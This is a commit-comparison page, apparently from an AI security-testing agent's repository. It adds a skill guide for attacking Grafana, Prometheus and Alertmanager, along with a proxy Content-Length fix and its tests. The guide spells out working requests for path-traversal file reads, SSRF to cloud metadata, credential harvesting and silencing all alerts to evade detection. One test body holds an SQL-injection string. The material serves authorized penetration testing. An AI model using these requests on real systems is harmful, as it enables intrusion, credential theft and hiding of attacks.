Compare commits

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Author SHA1 Message Date
Alex Schapiro 511397eb90 test(proxy): drop transfer encoding on replay 2026-07-21 01:49:35 +00:00
Alex Schapiro 5bfe6604d4 test(proxy): drop transfer encoding on replay 2026-07-21 01:47:24 +00:00
599f7c7526 fix(proxy): recompute Content-Length when replaying a modified body (#816)
build_raw_request kept the Content-Length inherited from the captured
request, so replaying a modified body (repeat_request) emitted a request
whose declared length did not match the body — truncating the payload or
stalling the target. Drop any inherited Content-Length (case-insensitively)
and recompute it from the body actually being sent.

Adds tests covering a lengthened body, an emptied body, and the
no-inherited-header path.

Fixes #814

Co-authored-by: thejesh23 <thejesh23@users.noreply.github.com>
2026-07-20 21:43:49 -04:00
alex sandGitHub 8cd9abba21 docs(skills): add grafana_prometheus observability pivot skill (#812)
* docs(skills): add grafana_prometheus observability pivot skill

* docs(skills): fix grafana/prometheus SSRF + redacted-creds accuracy (greptile)
2026-07-20 13:56:25 -04:00
3 changed files with 255 additions and 1 deletions
@@ -0,0 +1,189 @@
---
name: grafana_prometheus
description: Grafana, Prometheus, Alertmanager and exporter security testing — turning exposed observability into SSRF, credential theft, RCE, and lateral movement into the internal network
---
# Grafana & Prometheus (Observability Stack)
Observability stacks (Grafana + Prometheus + Alertmanager + Loki/Tempo/Jaeger + exporters) are among the highest-value pivots on a network. They are chronically exposed (300k+ internet-facing Grafana instances on Shodan), run with weak/no auth, hold plaintext credentials for every backend they touch, and sit in a network position that reaches internal services and cloud metadata. Treat a reachable observability endpoint not as the finding but as the **entry point**: the goal is to pivot from "monitoring is exposed" into data-source credential theft, SSRF into the internal network, cloud key compromise, RCE, and cluster/host takeover.
## Attack Surface
**Grafana** (default `:3000`)
- Web UI + REST API (`/api/*`), login, org/user management, snapshots
- Data sources: stored connection details + credentials for Prometheus, Loki, Tempo, MySQL/Postgres, Elasticsearch, InfluxDB, CloudWatch, Azure Monitor, etc.
- Data source **proxy** (`/api/datasources/proxy/...`, `/api/ds/query`) — server-side HTTP client → SSRF primitive
- Plugins (incl. Image Renderer, Infinity) — extra SSRF/RCE surface
- Alerting → contact points/webhooks (outbound HTTP, another SSRF vector)
**Prometheus** (default `:9090`)
- Query API (`/api/v1/query`, `/graph`), config/target/status endpoints, federation, admin/lifecycle API
**Alertmanager** (default `:9093`)
- Alert/silence API (`/api/v2/*`), config with receiver credentials
**Exporters / adjacent** — node_exporter (`:9100`), cAdvisor/kubelet (`:4194`/`:10250`), kube-state-metrics (`:8080`), Pushgateway (`:9091`), Loki (`:3100`), Tempo, Jaeger UI (`:16686`), Thanos/Cortex/Mimir/VictoriaMetrics
## Reconnaissance
**Fingerprint & version** (version drives which CVEs apply)
```
GET /api/health # Grafana: {"version":"...","commit":"..."}
GET /api/frontend/settings # buildInfo, enabled auth, datasource types
GET /login # Grafana login page / footer version
GET /api/v1/status/buildinfo # Prometheus version
GET /metrics # any exporter → prometheus/node/go_* series
```
**Auth posture — always test unauthenticated first**
```
GET /api/datasources # Grafana: 200 = anon/viewer has admin-ish read
GET /?orgId=1 # anonymous access enabled? lands on dashboards
GET /api/v1/targets # Prometheus: 200 = no auth
GET /api/v2/status # Alertmanager: 200 = no auth
```
**Credential entry points**
- Grafana default creds `admin:admin` (the first-login change prompt has a **Skip** button — ~1 in 5 internet-facing instances still accept it)
- Anonymous org access (`auth.anonymous`), open sign-up, guest/viewer roles
- Leaked Grafana API keys / service account tokens (`Authorization: Bearer glsa_...` / `eyJ...`) in JS bundles, git, CI logs
## Key Vulnerabilities & CVEs
### CVE-2021-43798 — Grafana pre-auth path traversal (arbitrary file read)
Grafana 8.0.0-beta1 → 8.3.0. Directory traversal through the plugin static route reads any file the process can, **no auth required**. Every install ships pre-installed plugins, so the path always exists.
```
curl --path-as-is 'http://host:3000/public/plugins/mysql/../../../../../../../../etc/passwd'
# other plugin ids that always exist: prometheus, graph, text, alertlist, table-old
```
High-value reads:
- `/etc/grafana/grafana.ini` and `conf/defaults.ini``secret_key`, admin password, SMTP/LDAP creds
- `/var/lib/grafana/grafana.db` (SQLite) → `data_source.secure_json_data` (AES-encrypted with `secret_key` → decrypt to recover backend passwords/tokens), session tokens, API key hashes
- `/proc/self/environ`, cloud credential files (`~/.aws/credentials`, k8s SA token at `/var/run/secrets/kubernetes.io/serviceaccount/token`)
### CVE-2024-9264 — Grafana SQL Expressions RCE + LFI (DuckDB)
Grafana **v11.0.011.2.x** (10.x not affected). The experimental SQL Expressions feature passes user input to the `duckdb` CLI insufficiently sanitized → command injection + arbitrary file read. Enabled by default for the API (feature-flag bug); exploitable **only if the `duckdb` binary is in Grafana's `$PATH`** (not shipped by default). Any user with **Viewer or higher** can exploit. CVSS 9.4.
- Probe: is `duckdb` present? Try the SQL Expressions query path; LFI via `read_csv`/`read_blob`-style functions, command injection via DuckDB's shell/`install`/`load` extension mechanics.
- Mitigation you'll see: remove `duckdb` from PATH.
### CVE-2025-4123 — Grafana open redirect + stored XSS → SSRF chain
Double-encoded traversal (`..%2f`) into the client path/`/redirect` forwards the victim to an attacker origin that serves a malicious plugin manifest → JS executes in the trusted grafana origin (stored XSS). If the **Image Renderer** plugin is present, escalate to full-read SSRF:
```
POST /api/render?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
No creds needed when anonymous access is on (common in demo/lab).
### CVE-2021-39226 / CVE-2024-1313 — Grafana snapshot auth bypass
Unauthenticated view (and, with `public_mode`, delete) of the lowest-key snapshot via `/api/snapshots/:key` and `/dashboard/snapshot/:key`; CVE-2024-1313 lets a user in a *different org* delete snapshots by view key. Walk snapshot IDs to harvest dashboard data / leaked query values.
### Prometheus / Alertmanager — exposure is the vuln (no auth by default)
Prometheus and Alertmanager ship with **no authentication**; the docs explicitly say do not expose them. There is rarely a CVE — reachability itself is the finding, and the payoff is recon + credential leakage + pivoting (below).
## Pivoting: Observability → Deeper Compromise
This is the core value. Chain each exposure into something that matters. Always articulate the pivot in the finding, not just the exposed endpoint.
### 1. Grafana data-source proxy → full-read SSRF (internal net + cloud metadata)
Grafana OSS ships a **no-op URL validator** and an **empty `data_source_proxy_whitelist`** (empty = allow all). The proxy resolves the proxied path against the **selected data source's configured base URL**, so to reach an arbitrary host you must first create (or edit) a data source whose URL is the internal/metadata target — this needs data-source write permission (Editor/Admin, or any role granted `datasources:create`/`:write`). Reusing an ordinary Prometheus data-source id and appending a metadata path just hits Prometheus, not the metadata service — do not report that as SSRF. Once a data source points at the target, the proxy issues the request server-side and returns the **full response body**.
```
# Step 1: create/edit a data source with an attacker-chosen base URL, e.g.
POST /api/datasources {"name":"x","type":"prometheus","access":"proxy",
"url":"http://169.254.169.254"} # returns the new <id>
# Step 2: relay through THAT data source's id (path appended to its base URL):
GET /api/datasources/proxy/<id>/latest/meta-data/iam/security-credentials/<role> # AWS IMDSv1
# GCP: base url http://metadata.google.internal + header Metadata-Flavor: Google
# → /computeMetadata/v1/instance/service-accounts/default/token
# Internal APIs, k8s API server, admin panels, other cloud services (one DS per host)
```
Pivot: metadata creds → cloud account; internal API reads → data; network mapping → next target. Also test the **alerting contact-point/webhook** (attacker-controlled outbound URL) and plugin SSRFs (e.g. Infinity CVE-2025-8341) as independent vectors. The **Image Renderer** is an SSRF vector too, but not via an arbitrary-URL proxy: it renders Grafana dashboard/panel render routes (`/render/d-solo/...`), so the SSRF arises when a render request is coerced to fetch an internal URL (e.g. chained with CVE-2025-4123), not from a `?url=` parameter.
### 2. Grafana admin → harvest every backend credential
Once authenticated (default creds, anon-admin, leaked token, or after CVE-2021-43798):
```
GET /api/datasources # host, port, db, user for 515 backends
GET /api/admin/settings # SMTP, LDAP bind, OAuth secrets, DB DSN (grafana.ini runtime)
```
Grafana stores backend passwords/tokens encrypted (`secureJsonData`) — the API won't echo them, but you can (a) use the data source proxy to **query the backend directly through Grafana** (no plaintext needed), or (b) decrypt `grafana.db` `secure_json_data` with the leaked `secret_key` (from grafana.ini) offline. Each recovered credential (Postgres, MySQL, Elasticsearch, CloudWatch/Azure keys) is a fresh pivot into that system.
### 3. Prometheus config/targets → leaked scrape credentials + inventory
```
GET /api/v1/status/config # loaded prometheus.yml
GET /api/v1/targets # every scrape target + discovery metadata labels
```
Prometheus renders secret-typed fields (`basic_auth.password`, `authorization.credentials`, bearer tokens, OAuth client secrets — including inside `remote_write`/`remote_read`) as `<secret>` in the config response, so do **not** report those as leaked unless the actual value is shown. What genuinely leaks: **usernames** (`basic_auth.username`), and — critically — **credentials embedded in target/endpoint URLs** (`https://user:pass@host/...`), which are *not* masked. `remote_write`/`remote_read` blocks still reveal internal backend endpoints (Grafana Cloud/Cortex/Mimir/Thanos hosts) and usernames even with secrets redacted. `kubernetes_sd_configs` and cloud SD expose internal DNS and can surface creds via URL fields. Target lists + `__meta_*`/`__address__` labels = a free internal network map (hostnames, ports, k8s namespaces, cloud instance IDs).
### 4. PromQL / metrics → internal topology, versions → known-CVE targeting
Metrics are a recon goldmine. Query without auth:
```
GET /api/v1/query?query=up # every monitored service (host:port)
GET /api/v1/query?query=node_uname_info # kernel/OS/host
GET /api/v1/query?query=node_dmi_info # cloud provider / hardware
GET /api/v1/query?query=node_network_info # interfaces, internal IPs/MACs
GET /api/v1/query?query=kube_pod_info # pods, namespaces, node IPs (KSM)
GET /api/v1/query?query=kube_node_info # node hostnames, kubelet/kubeproxy versions
GET /api/v1/query?query={__name__=~"..._build_info"} # exact component versions
GET /api/v1/label/__name__/values # enumerate all metric names → app inventory
GET /federate?match[]={__name__=~".%2b"} # bulk-exfil series via federation
```
Pivot: exact versions (`*_build_info`, `kube_node_info`) → map to CVEs and attack the vulnerable components; `up`/`kube_pod_info` → target list of internal services normally invisible from outside. cAdvisor/kubelet and kube-state-metrics reveal container images, args, labels (sometimes secrets in env-derived labels), and full cluster layout.
### 5. Alertmanager → credential theft, SSRF, and alert suppression (anti-forensics)
```
GET /api/v2/status # config (receiver creds often masked, structure/routes leak)
POST /api/v2/silences # unauth in default deploys → silence ALL alerts
```
- Receiver config (`alertmanager.yml`) holds **plaintext** Slack webhook URLs, PagerDuty routing keys, SMTP passwords, OpsGenie/VictorOps keys — steal via file read (CVE-2021-43798 style) or config access; reuse to spoof alerts / social-engineer on-call.
- Webhook receivers = SSRF: if you can influence the receiver URL, point it at internal endpoints.
- Silence abuse: `POST /api/v2/silences` with matcher `alertname=~".+"` for 30d suppresses security/ops alerting while you operate — call this out as a **detection-evasion** impact.
### 6. Logs/traces backends (Loki, Tempo, Jaeger) → secrets in transit
Exposed Loki (`/loki/api/v1/query_range`), Tempo, and Jaeger UI (`:16686`) frequently contain **request bodies, headers, tokens, session cookies, SQL, and stack traces** captured from real traffic. Query them for `authorization`, `password`, `token`, `set-cookie`, PII. A single logged bearer token or session cookie is a direct account/service takeover.
## Testing Methodology
1. **Discover** stack ports/services (`:3000/:9090/:9093/:9100/:3100/:16686`, `/metrics`, `/api/health`).
2. **Fingerprint versions** → shortlist applicable CVEs (43798, 9264, 4123, 39226/1313, Infinity 8341).
3. **Auth matrix** — unauth vs anon vs viewer vs default creds vs leaked token, per component.
4. **Recon-pivot** — pull Prometheus config/targets + PromQL inventory; enumerate Grafana `/api/datasources`.
5. **SSRF-pivot** — data source proxy / render / webhook → internal services + `169.254.169.254`.
6. **Credential-pivot** — file read (43798) → `secret_key` → decrypt `grafana.db`; scrape/remote_write/receiver creds; then reuse against each backend.
7. **Deepen** — RCE (9264 if `duckdb` present), cloud account via metadata, k8s SA token, DB access; demonstrate real impact.
## Validation
- SSRF: show the **full body** of an internal-only URL (metadata creds, internal API JSON) returned through Grafana — not just a timing/blind signal.
- Credential theft: show the leaked secret AND prove reuse (authenticate to the backend / cloud), or clearly explain the reuse path.
- File read (43798): return contents of `/etc/passwd` or `grafana.ini` with `--path-as-is`; note affected version.
- RCE (9264): confirm `duckdb` in PATH first; demonstrate command execution or file read; note version 11.x.
- Recon: for Prometheus/Alertmanager exposure, pair the open endpoint with the concrete sensitive data recovered (leaked creds, internal inventory) so the finding shows impact, not just "it's reachable".
## False Positives / Down-rate
- Endpoint reachable only from localhost / same trusted segment by design, behind an authenticating reverse proxy (test through the real ingress).
- Grafana Enterprise (real URL validator) or OSS with a configured `data_source_proxy_whitelist` → SSRF blocked.
- CVE-2024-9264 with **no `duckdb` in PATH** → not exploitable (do not report as RCE).
- Patched versions (Grafana ≥ the fixed release for each CVE; check `/api/health`).
- **Demo/sandbox instances with synthetic data** — down-rate per demo-data guidance; exposed monitoring of a throwaway target is low impact.
- Metrics that are genuinely public/non-sensitive (e.g. an intentionally public status page).
## Impact
- Cloud account compromise (metadata creds via SSRF), internal network read access, and network mapping.
- Theft of every backend credential Grafana/Prometheus/Alertmanager touches → lateral movement into DBs, Elasticsearch, cloud APIs.
- RCE on the Grafana host (CVE-2024-9264) and arbitrary file read (CVE-2021-43798).
- Kubernetes cluster recon → SA token / kubelet exposure → cluster compromise.
- Alert suppression for detection evasion; secret/PII exposure via logs & traces.
## Pro Tips
1. Always fingerprint the version first (`/api/health`, `/api/v1/status/buildinfo`) — it decides RCE vs read vs recon.
2. The exposed dashboard is never the finding; the pivot is. Chain to metadata creds, backend creds, or RCE before reporting.
3. Prometheus `<secret>` masking is incomplete — hunt usernames and **URL-embedded creds** in `/api/v1/status/config` and `remote_write`.
4. Grafana can query its own backends for you via the data source proxy — you don't need the plaintext password to exfil data.
5. `*_build_info` and `kube_node_info` metrics hand you exact component versions — turn them straight into CVE targets.
6. Pair with `ssrf`, `information_disclosure`, `kubernetes`, `aws`/`gcp`, and `authentication_jwt` skills; use `nuclei` templates (`grafana-*`, `prometheus-*`) for fast triage.
7. On k8s, an exposed Prometheus/KSM often reveals the whole cluster topology and image versions with zero auth — prioritize it as a recon multiplier.
## Summary
Grafana and Prometheus are pivot engines, not endpoints. Grafana holds plaintext-recoverable credentials for every backend, proxies arbitrary server-side requests by default (SSRF → cloud metadata), reads arbitrary files (CVE-2021-43798), and can hit RCE (CVE-2024-9264). Prometheus/Alertmanager expose internal inventory, versions, and scrape/receiver credentials with no auth. Treat any reachable observability service as a launch point into the internal network, cloud account, databases, and cluster — and prove the pivot.
+13 -1
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@@ -167,6 +167,9 @@ async def get_request_with_client(
return await client.request.get(request_id, opts)
_FRAMING_HEADERS = frozenset({"content-length", "transfer-encoding"})
def build_raw_request(
*,
method: str,
@@ -187,7 +190,16 @@ def build_raw_request(
final_headers = {**headers}
final_headers.setdefault("Host", parsed.netloc)
final_headers.setdefault("User-Agent", "strix")
if body and "Content-Length" not in {k.title() for k in final_headers}:
# Framing headers inherited from the captured request describe the ORIGINAL
# body; once the body is modified for replay they are stale. We always send a
# plain (non-chunked) body with an explicit Content-Length, so drop any
# inherited Content-Length AND Transfer-Encoding (case-insensitively) and
# recompute the length from the body actually being sent. This keeps the two
# framing mechanisms from conflicting (RFC 7230 3.3.3: a leftover
# Transfer-Encoding would make the target ignore Content-Length and try to
# parse the body as chunked), so the replay is never desynced.
final_headers = {k: v for k, v in final_headers.items() if k.lower() not in _FRAMING_HEADERS}
if body:
final_headers["Content-Length"] = str(len(body.encode("utf-8")))
lines = [f"{method.upper()} {path} HTTP/1.1"]
+53
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@@ -140,6 +140,59 @@ async def test_host_call_serializes_concurrent_calls() -> None:
assert state["max"] == 1
def _headers_named(raw: bytes, name: str) -> list[str]:
head = raw.decode("utf-8").split("\r\n\r\n", 1)[0]
return [
line.split(":", 1)[1].strip()
for line in head.split("\r\n")[1:]
if line.split(":", 1)[0].strip().lower() == name.lower()
]
def test_build_raw_request_recomputes_content_length_for_modified_body() -> None:
# The captured request declared Content-Length: 12 (original body); the
# replayed body is longer. The emitted request must carry exactly one
# Content-Length equal to the ACTUAL body length, or the target truncates
# the modified payload (or the connection desyncs).
body = '{"user":"a\' OR 1=1 -- injected long payload"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={"content-length": "12", "Content-Type": "application/json"},
body=body,
)
sent_body = raw.decode("utf-8").split("\r\n\r\n", 1)[1]
assert sent_body == body
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_transfer_encoding_for_modified_body() -> None:
body = '{"user":"updated"}'
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/login",
headers={
"tRaNsFeR-EnCoDiNg": "chunked",
"Content-Length": "7",
"Content-Type": "application/json",
},
body=body,
)
assert _headers_named(raw, "Transfer-Encoding") == []
assert _headers_named(raw, "Content-Length") == [str(len(body.encode("utf-8")))]
def test_build_raw_request_drops_stale_content_length_for_empty_body() -> None:
# A body cleared to empty must not keep the inherited (non-zero) length.
_conn, raw = caido_api.build_raw_request(
method="POST",
url="https://example.com/x",
headers={"Content-Length": "12"},
body="",
)
assert _headers_named(raw, "Content-Length") == []
class _Ctx:
def __init__(self, context: Any) -> None:
self.context = context